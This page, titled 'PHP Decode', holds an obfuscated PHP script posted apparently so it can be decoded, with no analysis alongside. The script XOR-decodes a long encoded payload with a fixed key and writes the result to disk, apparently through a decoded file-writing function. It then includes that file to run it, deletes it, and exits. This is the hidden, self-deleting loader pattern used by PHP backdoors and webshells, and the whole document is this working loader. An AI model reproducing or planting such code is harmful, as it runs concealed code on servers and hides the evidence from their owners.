PHP Decode

<?php 
 
function GkXqkvMNU($rUtlyFHmtbRJ, $acublzZpuH) 
{ 
    $rUtlyFHmtbRJ = urldecode($rUtlyFHmtbRJ); 
    $BCdwTi = str_split($rUtlyFHmtbRJ); 
    $action = ""; 
    for ($i = 0; $i < strlen($rUtlyFHmtbRJ);$i++) { 
        $action .= $BCdwTi[$i] ^ $acublzZpuH[$i%8]; 
    } 
    return $action; 
} 
 
$i="Pn5%3F%29UP8%05%3F%2C%08%2A%3D.PK47%256%2A%05%14%036b%7By%16%0F4+x%7EZS%183%16%05%0E62-p%7D%14%036%1A2%2B%2A5%0A%1Fviwiqauf%11%2C90%07%29%1D%18yb%3A8+%05%1D%144%26%22-15%163%25%2C%3A%3C%7FvX%5Cx%7EZS%18%29%1D%18%0E1%3E4%3D%05%14%05%3C%2C%23qhsCa%5BH%5DTR%3C%0D%0221%3E66z%0B%0455%7F%7D%3C%3B%0C%0D%7Des2%3D%23Qa%5B%3EZSxzXLu%2A%22-%07%3E%19%180ejyzxCa%5Bewyx%3C%17%1Eqms0xgX%5Cjes0xfX%1F%257%3B%3C6r%5C%08016pcsX%17%5COwyxzXLqe16%2AzPH%3BejyhaXH%3Beky%2B.%0A%004%2B%7F%7D3%3F%01Eqcqy%7C3XPq6%23%2B4%3F%16Du%216-9sCLu%2F%7Crtz%5C%05zn%7Ey%23WrLqewyxzXLqew%7D7%2F%0C35%24%238xtEL2-%25q7%28%1CDu%216-9%01%5C%05%0Clw%07x5%0A%08ya%3C%3C%21%01%5C%06%0Cl%7EbUPXLqewyxz%05a%5Bewyx%27ufqewy%2A%3F%0C%19%23%2Bw%7D7%2F%0C35%24%238cWr%11%5CO%3E%3Fxr%11%1F%22+%23q%7C%05%3F%29%05%1EanknKY%0Cl%7ETR%21ufqewy%3C3%1DD%3C%21bqlmO%5Dcl%7EbUP%05a%5Ba%23%3C5%2AE%0D%2376+%077%1D%1E6+%7F%7D%07%197%23%1A%0C%12ux%7E%27%3C%1E%16%03pcWr%0A%3E728%3B2XDu124%28z%19%1Fqa38%2C%3B%27%074%3Cwdfz%5C%08016px%21ufqewy%7C%3E%19%180ejy%18%2F%16%1F47%3E843%02%09y6%3F%3D%28r%0B%0455%7F%3B9%29%1DZe%1A3%3C%3B5%1C%09ya38%2C%3BQ%40qb%22kj%3BM%0A8%3F2o%60m%01%0A2%22-%3Fo0%0EX%60%26%22mhj%11%050%7C%3F%2B%3C%7DQ%40qa38%2C%3B%27%074%3C%7EpcWrLqew0%3EzP%05%2262-p%7E%1C%0D%25%24%0C%7E91_1xlw%22UPXLqewyxz%11%0Aqms%3D9.%197v%24p%04xgELv%2Cppx%21ufqewyxzXLqewy%7C3XQq%24%25%2B9%23Pa%5BewyxzXLqewyxzXLqb%27%2F%7FzERq%05%271%28%2C%1D%1E%22%2C87psTa%5BewyxzXLqewyxzXLqb%24%2F%7FzERqbfwhwIK%7DH%5DyxzXLqewyxzXEjH%5DyxzXLqewyxzX%092-8y%18%29%1D%1E8%24%3B0%22%3FPH8llTRzXLqewyx%27X%09%3D620%3EzPH5%24%238%03%7D%19K%0Cejdx%7D%1DKxe%2CTRzXLqewyxzXLq+%2184r%5C%08016%02%7F%3E_1x%7EZSxzXLqewy%25WrLqewyxzX%09%29%2C%23qqaufqewy%25Wr%11"; 
$j="%0A8%292%06%28%2F%0C32%2A9-%3D4%0C%1F"; 
 
$GGRjFk="lQEWYXZxuHqq"; 
 
$k = GkXqkvMNU($i, $GGRjFk); 
$f = GkXqkvMNU($j, $GGRjFk); 
$f($GGRjFk, $k); 
include_once ($GGRjFk); 
unlink($GGRjFk); 
exit(); 
 ?>